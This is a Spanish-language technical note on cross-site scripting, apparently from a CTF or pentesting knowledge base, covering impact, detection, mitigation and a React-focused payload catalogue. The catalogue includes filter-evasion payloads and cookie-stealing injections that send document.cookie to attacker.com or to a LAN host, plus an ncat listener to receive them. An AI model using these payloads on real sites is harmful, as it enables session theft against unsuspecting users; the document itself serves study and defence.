1. Descripción técnica
Cross-Site Scripting (XSS) aparece cuando datos controlados por un atacante alcanzan un contexto ejecutable del navegador sin la codificación o sanitización correspondiente. El límite de confianza se rompe entre la aplicación, que entrega contenido bajo su propio origen, y el navegador de la víctima, que confía en ese origen y ejecuta el contenido como parte de la página.
No toda inserción de HTML constituye XSS y un payload no es universal. El resultado depende del contexto de salida: texto HTML, atributo, URL, JavaScript, CSS o un sink del DOM. En React, dangerouslySetInnerHTML omite el escape normal y exige sanitizar cualquier HTML no confiable antes de insertarlo.
2. Impacto
El script puede actuar con los permisos que el navegador concede al origen afectado: leer datos visibles para la sesión, modificar el DOM, iniciar acciones autenticadas o capturar secretos accesibles a JavaScript. Una cookie marcada HttpOnly no puede leerse mediante document.cookie; aun así, XSS puede realizar acciones dentro de la sesión y acceder a otros datos disponibles en la página.
3. Condiciones necesarias
- El atacante controla un valor que llega a una respuesta o a un sink del DOM.
- La aplicación lo inserta en un contexto ejecutable sin una defensa adecuada para ese contexto.
- Una víctima procesa el contenido. En Stored XSS, el payload queda persistido; en Reflected XSS viaja en la petición; en DOM-Based XSS la transformación vulnerable ocurre en el cliente.
- CSP, Trusted Types u otros controles no bloquean la ruta concreta de ejecución, o existe una forma de satisfacer su política.
4. Validación y detección
La prueba debe comenzar con un marcador inofensivo y confirmar dónde aparece en el DOM. Después se usa una expresión mínima adecuada al contexto. Que una etiqueta script no se ejecute no descarta XSS: el dato puede estar en un atributo, una URL o un sink que requiera otra sintaxis. La revisión de código debe seguir fuentes no confiables hasta sinks como innerHTML, outerHTML, document.write o equivalentes de framework.
5. Payloads de referencia
Los bloques conservados a continuación son un catálogo histórico. Algunos dependen de comportamiento obsoleto o de un contexto muy específico, por lo que un fallo al ejecutarlos no confirma que el sink sea seguro. Para una validación real se debe adaptar la prueba al parser, al navegador y a la política CSP observados.
Payloads básicos para dangerouslySetInnerHTML (HTML + JS embebido)
- Alerta con imagen (onerror)
<img src=x onerror=alert('XSS')>- Etiqueta
<iframe>con src javascript: (algunos navegadores bloquean)
<iframe src="javascript:alert('XSS')"></iframe>- Etiqueta
<body>con evento onload (en algunos contextos funciona)
<body onload=alert('XSS')>- Etiqueta
<video>con evento onerror
<video src=x onerror=alert('XSS')></video>- Etiqueta
<audio>con evento onerror
<audio src=x onerror=alert('XSS')></audio>- Etiqueta
<math>con evento onload
<math href="javascript:alert('XSS')"></math>- Etiqueta
<details>con atributo open y evento ontoggle
<details open ontoggle=alert('XSS')></details>- Etiqueta
<style>con expresión CSS que dispara alertas (más raro y limitado)
<style>@import 'javascript:alert("XSS")';</style>Payloads más complejos para evadir filtros
- Uso de comillas diferentes en eventos inline
<img src=x onerror="alert('XSS')">- Uso de comentarios para evadir filtros
<img src=x onerror=alert(/*comment*/'XSS')>- Uso de cadenas codificadas en UTF-8 para evadir filtros
<img src=x onerror=alert('\x58\x53\x53')>- Uso de minúsculas y mayúsculas mezcladas
<IMG SRC=x OnErRoR=alert('XSS')>Payloads para robar cookies (si es posible)
- Inyección de imagen que exfiltra la cookie mediante una URL
<img src="x" onerror="new Image().src='http://attacker.com/log?c='+document.cookie">- Script para enviar la cookie con fetch (requiere etiquetas script permitidas)
<script>fetch('http://attacker.com/log?c='+document.cookie)</script>Este método es más directo, pero suele quedar bloqueado por la CSP o por filtros de etiquetas en campos que no permiten <script>.
- Inyección de una imagen con evento onerror para exfiltrar cookies
<img src="x" onerror="new Image().src='http://192.168.1.5:1234/?cookie=' + document.cookie">Con este método, el atacante recibe las cookies de la víctima en su máquina, siempre que tenga el puerto 1234 a la escucha con netcat:
ncat -nlvp 1234Nota: si <script> no funciona (por la CSP o por React), recurre a eventos inline como onerror.
5.4. Consideraciones y límites
El payload <script>alert('XSS')</script> normalmente no funciona con dangerouslySetInnerHTML en React, porque React no ejecuta las etiquetas <script> insertadas de esa forma.
Por eso los payloads basados en eventos inline (onerror, onload, onclick, etc.) suelen dar mejores resultados.
Además, algunos navegadores y políticas de seguridad modernas bloquean ciertos payloads, así que conviene probar varios antes de descartar la inyección.
6. Explotación documentada en 125-thefinals
En TheFinals, el campo website de los comentarios almacenaba un payload que se ejecutaba cuando un usuario privilegiado revisaba el comentario. La evidencia confirma Stored XSS: la persistencia y la visita posterior distinguen este caso de una reflexión inmediata. El writeup conserva la petición, el listener y el efecto observado.
7. Mitigación
- Mantener el escape automático del framework y evitar sinks que interpretan HTML.
- Aplicar codificación de salida específica para HTML, atributos, URL, JavaScript o CSS según el destino real.
- Si el producto debe aceptar HTML, sanitizarlo con una biblioteca mantenida y una política explícita de elementos y atributos.
- Utilizar CSP y Trusted Types como defensa adicional, no como sustituto de la codificación o sanitización.
- Marcar cookies sensibles con
HttpOnly,Securey una políticaSameSiteadecuada para reducir impacto.
8. Clasificación
- Técnica canónica: Cross-Site Scripting (XSS).
- Variantes principales: Stored XSS, Reflected XSS y DOM-Based XSS.
- CWE: CWE-79, Improper Neutralization of Input During Web Page Generation.